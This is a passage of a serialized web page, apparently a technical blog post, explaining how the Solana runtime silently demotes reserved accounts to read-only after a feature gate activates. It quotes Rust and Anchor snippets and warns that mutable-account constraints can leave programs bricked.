legacy",{"type":24,"tag":327,"props":81163,"children":81164},{"style":381},[81165],{"type":29,"value":2407},{"type":24,"tag":327,"props":81167,"children":81168},{"style":1639},[81169],{"type":29,"value":81170},"Message",{"type":24,"tag":327,"props":81172,"children":81173},{"style":346},[81174],{"type":29,"value":2744},{"type":24,"tag":327,"props":81176,"children":81177},{"style":356},[81178],{"type":29,"value":81179},"reserved_account_keys",{"type":24,"tag":327,"props":81181,"children":81182},{"style":381},[81183],{"type":29,"value":1636},{"type":24,"tag":327,"props":81185,"children":81186},{"style":381},[81187],{"type":29,"value":14704},{"type":24,"tag":327,"props":81189,"children":81190},{"style":1639},[81191],{"type":29,"value":81192},"HashSet",{"type":24,"tag":327,"props":81194,"children":81195},{"style":346},[81196],{"type":29,"value":1596},{"type":24,"tag":327,"props":81198,"children":81199},{"style":1639},[81200],{"type":29,"value":2779},{"type":24,"tag":327,"props":81202,"children":81203},{"style":346},[81204],{"type":29,"value":1806},{"type":24,"tag":327,"props":81206,"children":81207},{"style":381},[81208],{"type":29,"value":1679},{"type":24,"tag":327,"props":81210,"children":81211},{"style":334},[81212],{"type":29,"value":81213}," Self",{"type":24,"tag":327,"props":81215,"children":81216},{"style":346},[81217],{"type":29,"value":497},{"type":24,"tag":327,"props":81219,"children":81220},{"class":329,"line":421},[81221,81225,81230,81234],{"type":24,"tag":327,"props":81222,"children":81223},{"style":334},[81224],{"type":29,"value":7558},{"type":24,"tag":327,"props":81226,"children":81227},{"style":356},[81228],{"type":29,"value":81229}," is_writable_account_cache",{"type":24,"tag":327,"props":81231,"children":81232},{"style":381},[81233],{"type":29,"value":4809},{"type":24,"tag":327,"props":81235,"children":81236},{"style":356},[81237],{"type":29,"value":81238}," message\n",{"type":24,"tag":327,"props":81240,"children":81241},{"class":329,"line":450},[81242,81246],{"type":24,"tag":327,"props":81243,"children":81244},{"style":381},[81245],{"type":29,"value":10773},{"type":24,"tag":327,"props":81247,"children":81248},{"style":346},[81249],{"type":29,"value":81250},"account_keys\n",{"type":24,"tag":327,"props":81252,"children":81253},{"class":329,"line":481},[81254,81258,81263],{"type":24,"tag":327,"props":81255,"children":81256},{"style":381},[81257],{"type":29,"value":10773},{"type":24,"tag":327,"props":81259,"children":81260},{"style":340},[81261],{"type":29,"value":81262},"iter",{"type":24,"tag":327,"props":81264,"children":81265},{"style":346},[81266],{"type":29,"value":15298},{"type":24,"tag":327,"props":81268,"children":81269},{"class":329,"line":500},[81270,81274,81279],{"type":24,"tag":327,"props":81271,"children":81272},{"style":381},[81273],{"type":29,"value":10773},{"type":24,"tag":327,"props":81275,"children":81276},{"style":340},[81277],{"type":29,"value":81278},"enumerate",{"type":24,"tag":327,"props":81280,"children":81281},{"style":346},[81282],{"type":29,"value":15298},{"type":24,"tag":327,"props":81284,"children":81285},{"class":329,"line":529},[81286,81290,81294,81298,81302,81306,81310,81314,81319,81323,81327],{"type":24,"tag":327,"props":81287,"children":81288},{"style":381},[81289],{"type":29,"value":10773},{"type":24,"tag":327,"props":81291,"children":81292},{"style":340},[81293],{"type":29,"value":73826},{"type":24,"tag":327,"props":81295,"children":81296},{"style":346},[81297],{"type":29,"value":349},{"type":24,"tag":327,"props":81299,"children":81300},{"style":381},[81301],{"type":29,"value":17963},{"type":24,"tag":327,"props":81303,"children":81304},{"style":346},[81305],{"type":29,"value":349},{"type":24,"tag":327,"props":81307,"children":81308},{"style":356},[81309],{"type":29,"value":11334},{"type":24,"tag":327,"props":81311,"children":81312},{"style":346},[81313],{"type":29,"value":2744},{"type":24,"tag":327,"props":81315,"children":81316},{"style":356},[81317],{"type":29,"value":81318},"_key",{"type":24,"tag":327,"props":81320,"children":81321},{"style":346},[81322],{"type":29,"value":3146},{"type":24,"tag":327,"props":81324,"children":81325},{"style":381},[81326],{"type":29,"value":17963},{"type":24,"tag":327,"props":81328,"children":81329},{"style":346},[81330],{"type":29,"value":497},{"type":24,"tag":327,"props":81332,"children":81333},{"class":329,"line":538},[81334,81339,81343,81348,81352,81356],{"type":24,"tag":327,"props":81335,"children":81336},{"style":356},[81337],{"type":29,"value":81338},"                message",{"type":24,"tag":327,"props":81340,"children":81341},{"style":381},[81342],{"type":29,"value":66},{"type":24,"tag":327,"props":81344,"children":81345},{"style":340},[81346],{"type":29,"value":81347},"is_writable_index",{"type":24,"tag":327,"props":81349,"children":81350},{"style":346},[81351],{"type":29,"value":349},{"type":24,"tag":327,"props":81353,"children":81354},{"style":356},[81355],{"type":29,"value":11334},{"type":24,"tag":327,"props":81357,"children":81358},{"style":346},[81359],{"type":29,"value":852},{"type":24,"tag":327,"props":81361,"children":81362},{"class":329,"line":547},[81363,81368,81372,81376,81380,81385,81389,81393,81397,81401,81406,81410],{"type":24,"tag":327,"props":81364,"children":81365},{"style":381},[81366],{"type":29,"value":81367},"                    &&",{"type":24,"tag":327,"props":81369,"children":81370},{"style":381},[81371],{"type":29,"value":20408},{"type":24,"tag":327,"props":81373,"children":81374},{"style":356},[81375],{"type":29,"value":81179},{"type":24,"tag":327,"props":81377,"children":81378},{"style":381},[81379],{"type":29,"value":66},{"type":24,"tag":327,"props":81381,"children":81382},{"style":340},[81383],{"type":29,"value":81384},"contains",{"type":24,"tag":327,"props":81386,"children":81387},{"style":346},[81388],{"type":29,"value":349},{"type":24,"tag":327,"props":81390,"children":81391},{"style":381},[81392],{"type":29,"value":8716},{"type":24,"tag":327,"props":81394,"children":81395},{"style":356},[81396],{"type":29,"value":74761},{"type":24,"tag":327,"props":81398,"children":81399},{"style":381},[81400],{"type":29,"value":66},{"type":24,"tag":327,"props":81402,"children":81403},{"style":346},[81404],{"type":29,"value":81405},"account_keys[",{"type":24,"tag":327,"props":81407,"children":81408},{"style":356},[81409],{"type":29,"value":11334},{"type":24,"tag":327,"props":81411,"children":81412},{"style":346},[81413],{"type":29,"value":62162},{"type":24,"tag":327,"props":81415,"children":81416},{"class":329,"line":557},[81417,81421,81425,81429,81433,81438,81442,81446],{"type":24,"tag":327,"props":81418,"children":81419},{"style":381},[81420],{"type":29,"value":81367},{"type":24,"tag":327,"props":81422,"children":81423},{"style":381},[81424],{"type":29,"value":20408},{"type":24,"tag":327,"props":81426,"children":81427},{"style":356},[81428],{"type":29,"value":74761},{"type":24,"tag":327,"props":81430,"children":81431},{"style":381},[81432],{"type":29,"value":66},{"type":24,"tag":327,"props":81434,"children":81435},{"style":340},[81436],{"type":29,"value":81437},"demote_program_id",{"type":24,"tag":327,"props":81439,"children":81440},{"style":346},[81441],{"type":29,"value":349},{"type":24,"tag":327,"props":81443,"children":81444},{"style":356},[81445],{"type":29,"value":11334},{"type":24,"tag":327,"props":81447,"children":81448},{"style":346},[81449],{"type":29,"value":852},{"type":24,"tag":327,"props":81451,"children":81452},{"class":329,"line":586},[81453],{"type":24,"tag":327,"props":81454,"children":81455},{"style":346},[81456],{"type":29,"value":81457},"            })\n",{"type":24,"tag":327,"props":81459,"children":81460},{"class":329,"line":1017},[81461,81465,81470,81474,81478,81482,81486,81490],{"type":24,"tag":327,"props":81462,"children":81463},{"style":381},[81464],{"type":29,"value":10773},{"type":24,"tag":327,"props":81466,"children":81467},{"style":340},[81468],{"type":29,"value":81469},"collect",{"type":24,"tag":327,"props":81471,"children":81472},{"style":381},[81473],{"type":29,"value":2407},{"type":24,"tag":327,"props":81475,"children":81476},{"style":346},[81477],{"type":29,"value":1596},{"type":24,"tag":327,"props":81479,"children":81480},{"style":1639},[81481],{"type":29,"value":5539},{"type":24,"tag":327,"props":81483,"children":81484},{"style":346},[81485],{"type":29,"value":1596},{"type":24,"tag":327,"props":81487,"children":81488},{"style":356},[81489],{"type":29,"value":10692},{"type":24,"tag":327,"props":81491,"children":81492},{"style":346},[81493],{"type":29,"value":81494},">>();\n",{"type":24,"tag":327,"props":81496,"children":81497},{"class":329,"line":1026},[81498,81503],{"type":24,"tag":327,"props":81499,"children":81500},{"style":334},[81501],{"type":29,"value":81502},"        Self",{"type":24,"tag":327,"props":81504,"children":81505},{"style":346},[81506],{"type":29,"value":497},{"type":24,"tag":327,"props":81508,"children":81509},{"class":329,"line":1048},[81510,81515,81519,81524,81528,81533,81537,81541],{"type":24,"tag":327,"props":81511,"children":81512},{"style":356},[81513],{"type":29,"value":81514},"            message",{"type":24,"tag":327,"props":81516,"children":81517},{"style":381},[81518],{"type":29,"value":1636},{"type":24,"tag":327,"props":81520,"children":81521},{"style":1639},[81522],{"type":29,"value":81523}," Cow",{"type":24,"tag":327,"props":81525,"children":81526},{"style":381},[81527],{"type":29,"value":2407},{"type":24,"tag":327,"props":81529,"children":81530},{"style":340},[81531],{"type":29,"value":81532},"Owned",{"type":24,"tag":327,"props":81534,"children":81535},{"style":346},[81536],{"type":29,"value":349},{"type":24,"tag":327,"props":81538,"children":81539},{"style":356},[81540],{"type":29,"value":74761},{"type":24,"tag":327,"props":81542,"children":81543},{"style":346},[81544],{"type":29,"value":9212},{"type":24,"tag":327,"props":81546,"children":81547},{"class":329,"line":1067},[81548,81553],{"type":24,"tag":327,"props":81549,"children":81550},{"style":356},[81551],{"type":29,"value":81552},"            is_writable_account_cache",{"type":24,"tag":327,"props":81554,"children":81555},{"style":346},[81556],{"type":29,"value":2231},{"type":24,"tag":327,"props":81558,"children":81559},{"class":329,"line":1075},[81560],{"type":24,"tag":327,"props":81561,"children":81562},{"style":346},[81563],{"type":29,"value":8989},{"type":24,"tag":327,"props":81565,"children":81566},{"class":329,"line":1084},[81567],{"type":24,"tag":327,"props":81568,"children":81569},{"style":346},[81570],{"type":29,"value":535},{"type":24,"tag":327,"props":81572,"children":81573},{"class":329,"line":1100},[81574],{"type":24,"tag":327,"props":81575,"children":81576},{"style":346},[81577],{"type":29,"value":592},{"type":24,"tag":327,"props":81579,"children":81580},{"class":329,"line":1128},[81581],{"type":24,"tag":327,"props":81582,"children":81583},{"emptyLinePlaceholder":16},[81584],{"type":29,"value":544},{"type":24,"tag":327,"props":81586,"children":81587},{"class":329,"line":1148},[81588],{"type":24,"tag":327,"props":81589,"children":81590},{"style":551},[81591],{"type":29,"value":81592},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\n",{"type":24,"tag":327,"props":81594,"children":81595},{"class":329,"line":1176},[81596,81600,81604,81609,81613,81617,81621,81625,81629,81633,81637,81641,81645,81649],{"type":24,"tag":327,"props":81597,"children":81598},{"style":334},[81599],{"type":29,"value":2524},{"type":24,"tag":327,"props":81601,"children":81602},{"style":334},[81603],{"type":29,"value":4653},{"type":24,"tag":327,"props":81605,"children":81606},{"style":340},[81607],{"type":29,"value":81608}," demote_program_id",{"type":24,"tag":327,"props":81610,"children":81611},{"style":346},[81612],{"type":29,"value":349},{"type":24,"tag":327,"props":81614,"children":81615},{"style":381},[81616],{"type":29,"value":8716},{"type":24,"tag":327,"props":81618,"children":81619},{"style":334},[81620],{"type":29,"value":2345},{"type":24,"tag":327,"props":81622,"children":81623},{"style":346},[81624],{"type":29,"value":2744},{"type":24,"tag":327,"props":81626,"children":81627},{"style":356},[81628],{"type":29,"value":11334},{"type":24,"tag":327,"props":81630,"children":81631},{"style":381},[81632],{"type":29,"value":1636},{"type":24,"tag":327,"props":81634,"children":81635},{"style":1639},[81636],{"type":29,"value":2422},{"type":24,"tag":327,"props":81638,"children":81639},{"style":346},[81640],{"type":29,"value":1674},{"type":24,"tag":327,"props":81642,"children":81643},{"style":381},[81644],{"type":29,"value":1679},{"type":24,"tag":327,"props":81646,"children":81647},{"style":1639},[81648],{"type":29,"value":1935},{"type":24,"tag":327,"props":81650,"children":81651},{"style":346},[81652],{"type":29,"value":497},{"type":24,"tag":327,"props":81654,"children":81655},{"class":329,"line":1184},[81656,81660,81664,81669,81673,81677,81681,81685,81689,81693,81697,81702],{"type":24,"tag":327,"props":81657,"children":81658},{"style":334},[81659],{"type":29,"value":2152},{"type":24,"tag":327,"props":81661,"children":81662},{"style":381},[81663],{"type":29,"value":66},{"type":24,"tag":327,"props":81665,"children":81666},{"style":340},[81667],{"type":29,"value":81668},"is_key_called_as_program",{"type":24,"tag":327,"props":81670,"children":81671},{"style":346},[81672],{"type":29,"value":349},{"type":24,"tag":327,"props":81674,"children":81675},{"style":356},[81676],{"type":29,"value":11334},{"type":24,"tag":327,"props":81678,"children":81679},{"style":346},[81680],{"type":29,"value":1674},{"type":24,"tag":327,"props":81682,"children":81683},{"style":381},[81684],{"type":29,"value":79922},{"type":24,"tag":327,"props":81686,"children":81687},{"style":381},[81688],{"type":29,"value":20408},{"type":24,"tag":327,"props":81690,"children":81691},{"style":334},[81692],{"type":29,"value":2345},{"type":24,"tag":327,"props":81694,"children":81695},{"style":381},[81696],{"type":29,"value":66},{"type":24,"tag":327,"props":81698,"children":81699},{"style":340},[81700],{"type":29,"value":81701},"is_upgradeable_loader_present",{"type":24,"tag":327,"props":81703,"children":81704},{"style":346},[81705],{"type":29,"value":15298},{"type":24,"tag":327,"props":81707,"children":81708},{"class":329,"line":1192},[81709],{"type":24,"tag":327,"props":81710,"children":81711},{"style":346},[81712],{"type":29,"value":592},{"type":24,"tag":25,"props":81714,"children":81715},{},[81716],{"type":29,"value":81717},"As you can see, there are two main causes of write-demotion:",{"type":24,"tag":175,"props":81719,"children":81720},{},[81721,81733],{"type":24,"tag":179,"props":81722,"children":81723},{},[81724,81726],{"type":29,"value":81725},"The account appears in the ",{"type":24,"tag":57,"props":81727,"children":81730},{"href":81728,"rel":81729},"https://github.com/anza-xyz/agave/blob/cd76bf6b8da8ec3739f0df4e087de0e50028b034/reserved-account-keys/src/lib.rs#L142-L182",[61],[81731],{"type":29,"value":81732},"reserved account list",{"type":24,"tag":179,"props":81734,"children":81735},{},[81736],{"type":29,"value":81737},"The account is invoked as a program without the upgradable loader being present in the transaction.",{"type":24,"tag":25,"props":81739,"children":81740},{},[81741],{"type":29,"value":81742},"The second case is generally covered by the executable check implemented previously.",{"type":24,"tag":25,"props":81744,"children":81745},{},[81746],{"type":29,"value":81747},"The first case, however, is far more dangerous — it can silently break your program logic without any obvious cause. Let’s dig deeper into that.",{"type":24,"tag":168,"props":81749,"children":81751},{"id":81750},"the-reserved-account-list",[81752],{"type":29,"value":81753},"The Reserved Account List",{"type":24,"tag":25,"props":81755,"children":81756},{},[81757,81759,81764],{"type":29,"value":81758},"The Solana runtime maintains a ",{"type":24,"tag":57,"props":81760,"children":81762},{"href":81728,"rel":81761},[61],[81763],{"type":29,"value":81732},{"type":29,"value":81765},", which includes addresses with special semantics — such as built-in programs, precompiles, and sysvars.",{"type":24,"tag":25,"props":81767,"children":81768},{},[81769,81771,81778,81780,81785],{"type":29,"value":81770},"These accounts may initially behave like normal accounts. However, once they become reserved after a ",{"type":24,"tag":57,"props":81772,"children":81775},{"href":81773,"rel":81774},"https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474",[61],[81776],{"type":29,"value":81777},"feature gate is actived",{"type":29,"value":81779},", the runtime will ",{"type":24,"tag":188,"props":81781,"children":81782},{},[81783],{"type":29,"value":81784},"automatically demote them to read-only",{"type":29,"value":81786},", even if the transaction marked them as writable.",{"type":24,"tag":317,"props":81788,"children":81790},{"className":1553,"code":81789,"language":1552,"meta":7,"style":7},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n// Update active set of reserved account keys which are not allowed to be write locked\nself.reserved_account_keys = {\n    let mut reserved_keys = ReservedAccountKeys::clone(&self.reserved_account_keys);\n    reserved_keys.update_active_set(&self.feature_set);\n    Arc::new(reserved_keys)\n};\n",[81791],{"type":24,"tag":284,"props":81792,"children":81793},{"__ignoreMap":7},[81794,81802,81810,81834,81888,81926,81955],{"type":24,"tag":327,"props":81795,"children":81796},{"class":329,"line":330},[81797],{"type":24,"tag":327,"props":81798,"children":81799},{"style":551},[81800],{"type":29,"value":81801},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n",{"type":24,"tag":327,"props":81803,"children":81804},{"class":329,"line":367},[81805],{"type":24,"tag":327,"props":81806,"children":81807},{"style":551},[81808],{"type":29,"value":81809},"// Update active set of reserved account keys which are not allowed to be write locked\n",{"type":24,"tag":327,"props":81811,"children":81812},{"class":329,"line":408},[81813,81817,81821,81826,81830],{"type":24,"tag":327,"props":81814,"children":81815},{"style":334},[81816],{"type":29,"value":2345},{"type":24,"tag":327,"props":81818,"children":81819},{"style":381},[81820],{"type":29,"value":66},{"type":24,"tag":327,"props":81822,"children":81823},{"style":346},[81824],{"type":29,"value":81825},"reserved_account_keys ",{"type":24,"tag":327,"props":81827,"children":81828},{"style":381},[81829],{"type":29,"value":384},{"type":24,"tag":327,"props":81831,"children":81832},{"style":346},[81833],{"type":29,"value":497},{"type":24,"tag":327,"props":81835,"children":81836},{"class":329,"line":421},[81837,81841,81845,81850,81854,81859,81863,81867,81871,81875,81879,81883],{"type":24,"tag":327,"props":81838,"children":81839},{"style":334},[81840],{"type":29,"value":4794},{"type":24,"tag":327,"props":81842,"children":81843},{"style":334},[81844],{"type":29,"value":4799},{"type":24,"tag":327,"props":81846,"children":81847},{"style":356},[81848],{"type":29,"value":81849}," reserved_keys",{"type":24,"tag":327,"props":81851,"children":81852},{"style":381},[81853],{"type":29,"value":4809},{"type":24,"tag":327,"props":81855,"children":81856},{"style":1639},[81857],{"type":29,"value":81858}," ReservedAccountKeys",{"type":24,"tag":327,"props":81860,"children":81861},{"style":381},[81862],{"type":29,"value":2407},{"type":24,"tag":327,"props":81864,"children":81865},{"style":340},[81866],{"type":29,"value":22943},{"type":24,"tag":327,"props":81868,"children":81869},{"style":346},[81870],{"type":29,"value":349},{"type":24,"tag":327,"props":81872,"children":81873},{"style":381},[81874],{"type":29,"value":8716},{"type":24,"tag":327,"props":81876,"children":81877},{"style":334},[81878],{"type":29,"value":2345},{"type":24,"tag":327,"props":81880,"children":81881},{"style":381},[81882],{"type":29,"value":66},{"type":24,"tag":327,"props":81884,"children":81885},{"style":346},[81886],{"type":29,"value":81887},"reserved_account_keys);\n",{"type":24,"tag":327,"props":81889,"children":81890},{"class":329,"line":450},[81891,81896,81900,81905,81909,81913,81917,81921],{"type":24,"tag":327,"props":81892,"children":81893},{"style":356},[81894],{"type":29,"value":81895},"    reserved_keys",{"type":24,"tag":327,"props":81897,"children":81898},{"style":381},[81899],{"type":29,"value":66},{"type":24,"tag":327,"props":81901,"children":81902},{"style":340},[81903],{"type":29,"value":81904},"update_active_set",{"type":24,"tag":327,"props":81906,"children":81907},{"style":346},[81908],{"type":29,"value":349},{"type":24,"tag":327,"props":81910,"children":81911},{"style":381},[81912],{"type":29,"value":8716},{"type":24,"tag":327,"props":81914,"children":81915},{"style":334},[81916],{"type":29,"value":2345},{"type":24,"tag":327,"props":81918,"children":81919},{"style":381},[81920],{"type":29,"value":66},{"type":24,"tag":327,"props":81922,"children":81923},{"style":346},[81924],{"type":29,"value":81925},"feature_set);\n",{"type":24,"tag":327,"props":81927,"children":81928},{"class":329,"line":481},[81929,81934,81938,81942,81946,81951],{"type":24,"tag":327,"props":81930,"children":81931},{"style":1639},[81932],{"type":29,"value":81933},"    Arc",{"type":24,"tag":327,"props":81935,"children":81936},{"style":381},[81937],{"type":29,"value":2407},{"type":24,"tag":327,"props":81939,"children":81940},{"style":340},[81941],{"type":29,"value":22646},{"type":24,"tag":327,"props":81943,"children":81944},{"style":346},[81945],{"type":29,"value":349},{"type":24,"tag":327,"props":81947,"children":81948},{"style":356},[81949],{"type":29,"value":81950},"reserved_keys",{"type":24,"tag":327,"props":81952,"children":81953},{"style":346},[81954],{"type":29,"value":852},{"type":24,"tag":327,"props":81956,"children":81957},{"class":329,"line":500},[81958],{"type":24,"tag":327,"props":81959,"children":81960},{"style":346},[81961],{"type":29,"value":24092},{"type":24,"tag":168,"props":81963,"children":81965},{"id":81964},"consequences-silent-failures-and-bricked-programs",[81966],{"type":29,"value":81967},"Consequences: Silent Failures and Bricked Programs",{"type":24,"tag":25,"props":81969,"children":81970},{},[81971],{"type":29,"value":81972},"This behavior is especially dangerous when you constrain a program to be writable, for example, with anchor, it's pretty common to use the account(mut) constraint:",{"type":24,"tag":317,"props":81974,"children":81976},{"className":1553,"code":81975,"language":1552,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n    #[account(mut)]\n    pub throne: Account\u003C'info, Throne>,\n\n    #[account(mut, constraint = old_king.key() == throne.king)]\n    pub old_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub new_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub payer: Signer\u003C'info>,\n}\n",[81977],{"type":24,"tag":284,"props":81978,"children":81979},{"__ignoreMap":7},[81980,81995,82022,82037,82076,82083,82130,82161,82168,82183,82214,82221,82236,82267],{"type":24,"tag":327,"props":81981,"children":81982},{"class":329,"line":330},[81983,81987,81991],{"type":24,"tag":327,"props":81984,"children":81985},{"style":346},[81986],{"type":29,"value":4249},{"type":24,"tag":327,"props":81988,"children":81989},{"style":1639},[81990],{"type":29,"value":4254},{"type":24,"tag":327,"props":81992,"children":81993},{"style":346},[81994],{"type":29,"value":1609},{"type":24,"tag":327,"props":81996,"children":81997},{"class":329,"line":367},[81998,82002,82006,82010,82014,82018],{"type":24,"tag":327,"props":81999,"children":82000},{"style":334},[82001],{"type":29,"value":2524},{"type":24,"tag":327,"props":82003,"children":82004},{"style":334},[82005],{"type":29,"value":2529},{"type":24,"tag":327,"props":82007,"children":82008},{"style":1639},[82009],{"type":29,"value":78035},{"type":24,"tag":327,"props":82011,"children":82012},{"style":346},[82013],{"type":29,"value":4334},{"type":24,"tag":327,"props":82015,"children":82016},{"style":1639},[82017],{"type":29,"value":4339},{"type":24,"tag":327,"props":82019,"children":82020},{"style":346},[82021],{"type":29,"value":4344},{"type":24,"tag":327,"props":82023,"children":82024},{"class":329,"line":408},[82025,82029,82033],{"type":24,"tag":327,"props":82026,"children":82027},{"style":346},[82028],{"type":29,"value":4544},{"type":24,"tag":327,"props":82030,"children":82031},{"style":334},[82032],{"type":29,"value":2099},{"type":24,"tag":327,"props":82034,"children":82035},{"style":346},[82036],{"type":29,"value":1609},{"type":24,"tag":327,"props":82038,"children":82039},{"class":329,"line":421},[82040,82044,82048,82052,82056,82060,82064,82068,82072],{"type":24,"tag":327,"props":82041,"children":82042},{"style":334},[82043],{"type":29,"value":2212},{"type":24,"tag":327,"props":82045,"children":82046},{"style":356},[82047],{"type":29,"value":78074},{"type":24,"tag":327,"props":82049,"children":82050},{"style":381},[82051],{"type":29,"value":1636},{"type":24,"tag":327,"props":82053,"children":82054},{"style":1639},[82055],{"type":29,"value":4508},{"type":24,"tag":327,"props":82057,"children":82058},{"style":346},[82059],{"type":29,"value":4334},{"type":24,"tag":327,"props":82061,"children":82062},{"style":1639},[82063],{"type":29,"value":4339},{"type":24,"tag":327,"props":82065,"children":82066},{"style":346},[82067],{"type":29,"value":2744},{"type":24,"tag":327,"props":82069,"children":82070},{"style":1639},[82071],{"type":29,"value":78099},{"type":24,"tag":327,"props":82073,"children":82074},{"style":346},[82075],{"type":29,"value":4529},{"type":24,"tag":327,"props":82077,"children":82078},{"class":329,"line":450},[82079],{"type":24,"tag":327,"props":82080,"children":82081},{"emptyLinePlaceholder":16},[82082],{"type":29,"value":544},{"type":24,"tag":327,"props":82084,"children":82085},{"class":329,"line":481},[82086,82090,82094,82098,82102,82106,82110,82114,82118,82122,82126],{"type":24,"tag":327,"props":82087,"children":82088},{"style":346},[82089],{"type":29,"value":4544},{"type":24,"tag":327,"props":82091,"children":82092},{"style":334},[82093],{"type":29,"value":2099},{"type":24,"tag":327,"props":82095,"children":82096},{"style":346},[82097],{"type":29,"value":78134},{"type":24,"tag":327,"props":82099,"children":82100},{"style":381},[82101],{"type":29,"value":384},{"type":24,"tag":327,"props":82103,"children":82104},{"style":346},[82105],{"type":29,"value":78143},{"type":24,"tag":327,"props":82107,"children":82108},{"style":381},[82109],{"type":29,"value":66},{"type":24,"tag":327,"props":82111,"children":82112},{"style":346},[82113],{"type":29,"value":78152},{"type":24,"tag":327,"props":82115,"children":82116},{"style":381},[82117],{"type":29,"value":642},{"type":24,"tag":327,"props":82119,"children":82120},{"style":346},[82121],{"type":29,"value":78074},{"type":24,"tag":327,"props":82123,"children":82124},{"style":381},[82125],{"type":29,"value":66},{"type":24,"tag":327,"props":82127,"children":82128},{"style":346},[82129],{"type":29,"value":78169},{"type":24,"tag":327,"props":82131,"children":82132},{"class":329,"line":500},[82133,82137,82141,82145,82149,82153,82157],{"type":24,"tag":327,"props":82134,"children":82135},{"style":334},[82136],{"type":29,"value":2212},{"type":24,"tag":327,"props":82138,"children":82139},{"style":356},[82140],{"type":29,"value":78143},{"type":24,"tag":327,"props":82142,"children":82143},{"style":381},[82144],{"type":29,"value":1636},{"type":24,"tag":327,"props":82146,"children":82147},{"style":1639},[82148],{"type":29,"value":6855},{"type":24,"tag":327,"props":82150,"children":82151},{"style":346},[82152],{"type":29,"value":4334},{"type":24,"tag":327,"props":82154,"children":82155},{"style":1639},[82156],{"type":29,"value":4339},{"type":24,"tag":327,"props":82158,"children":82159},{"style":346},[82160],{"type":29,"value":4529},{"type":24,"tag":327,"props":82162,"children":82163},{"class":329,"line":529},[82164],{"type":24,"tag":327,"props":82165,"children":82166},{"emptyLinePlaceholder":16},[82167],{"type":29,"value":544},{"type":24,"tag":327,"props":82169,"children":82170},{"class":329,"line":538},[82171,82175,82179],{"type":24,"tag":327,"props":82172,"children":82173},{"style":346},[82174],{"type":29,"value":4544},{"type":24,"tag":327,"props":82176,"children":82177},{"style":334},[82178],{"type":29,"value":2099},{"type":24,"tag":327,"props":82180,"children":82181},{"style":346},[82182],{"type":29,"value":1609},{"type":24,"tag":327,"props":82184,"children":82185},{"class":329,"line":547},[82186,82190,82194,82198,82202,82206,82210],{"type":24,"tag":327,"props":82187,"children":82188},{"style":334},[82189],{"type":29,"value":2212},{"type":24,"tag":327,"props":82191,"children":82192},{"style":356},[82193],{"type":29,"value":78242},{"type":24,"tag":327,"props":82195,"children":82196},{"style":381},[82197],{"type":29,"value":1636},{"type":24,"tag":327,"props":82199,"children":82200},{"style":1639},[82201],{"type":29,"value":6855},{"type":24,"tag":327,"props":82203,"children":82204},{"style":346},[82205],{"type":29,"value":4334},{"type":24,"tag":327,"props":82207,"children":82208},{"style":1639},[82209],{"type":29,"value":4339},{"type":24,"tag":327,"props":82211,"children":82212},{"style":346},[82213],{"type":29,"value":4529},{"type":24,"tag":327,"props":82215,"children":82216},{"class":329,"line":557},[82217],{"type":24,"tag":327,"props":82218,"children":82219},{"emptyLinePlaceholder":16},[82220],{"type":29,"value":544},{"type":24,"tag":327,"props":82222,"children":82223},{"class":329,"line":586},[82224,82228,82232],{"type":24,"tag":327,"props":82225,"children":82226},{"style":346},[82227],{"type":29,"value":4544},{"type":24,"tag":327,"props":82229,"children":82230},{"style":334},[82231],{"type":29,"value":2099},{"type":24,"tag":327,"props":82233,"children":82234},{"style":346},[82235],{"type":29,"value":1609},{"type":24,"tag":327,"props":82237,"children":82238},{"class":329,"line":1017},[82239,82243,82247,82251,82255,82259,82263],{"type":24,"tag":327,"props":82240,"children":82241},{"style":334},[82242],{"type":29,"value":2212},{"type":24,"tag":327,"props":82244,"children":82245},{"style":356},[82246],{"type":29,"value":48956},{"type":24,"tag":327,"props":82248,"children":82249},{"style":381},[82250],{"type":29,"value":1636},{"type":24,"tag":327,"props":82252,"children":82253},{"style":1639},[82254],{"type":29,"value":4573},{"type":24,"tag":327,"props":82256,"children":82257},{"style":346},[82258],{"type":29,"value":4334},{"type":24,"tag":327,"props":82260,"children":82261},{"style":1639},[82262],{"type":29,"value":4339},{"type":24,"tag":327,"props":82264,"children":82265},{"style":346},[82266],{"type":29,"value":4529},{"type":24,"tag":327,"props":82268,"children":82269},{"class":329,"line":1026},[82270],{"type":24,"tag":327,"props":82271,"children":82272},{"style":346},[82273],{"type":29,"value":592},{"type":24,"tag":25,"props":82275,"children":82276},{},[82277,82279,82285,82287,82293],{"type":29,"value":82278},"This works fine — until one day, ",{"type":24,"tag":284,"props":82280,"children":82282},{"className":82281},[],[82283],{"type":29,"value":82284},"old_king",{"type":29,"value":82286}," is silently demoted. Suddenly, the ",{"type":24,"tag":284,"props":82288,"children":82290},{"className":82289},[],[82291],{"type":29,"value":82292},"#[account(mut)]",{"type":29,"value":82294}," constraint fails, and your program is bricked. Even though you're passing a writable account in the transaction, the runtime has made a unilateral decision to override that.",{"type":24,"tag":168,"props":82296,"children":82298},{"id":82297},"real-world-example-write-demotion-with-secp256r1_program",[82299,82301],{"type":29,"value":82300},"Real-World Example: Write-Demotion with ",{"type":24,"tag":284,"props":82302,"children":82304},{"className":82303},[],[82305],{"type":29,"value":82306},"secp256r1_program",{"type":24,"tag":25,"props":82308,"children":82309},{},[82310,82312,82317],{"type":29,"value":82311},"Here’s a concrete example of the write-demotion trap playing out on mainnet — involving ",{"type":24,"tag":284,"props":82313,"children":82315},{"className":82314},[],[82316],{"type":29,"value":82306},{"type":29,"value":82318},", a precompiled program gated behind a feature flag:",{"type":24,"tag":317,"props":82320,"children":82322},{"className":1553,"code":82321,"language":1552,"meta":7,"style":7},"ReservedAccount::new_pending(\n    secp256r1_program::id(),\n    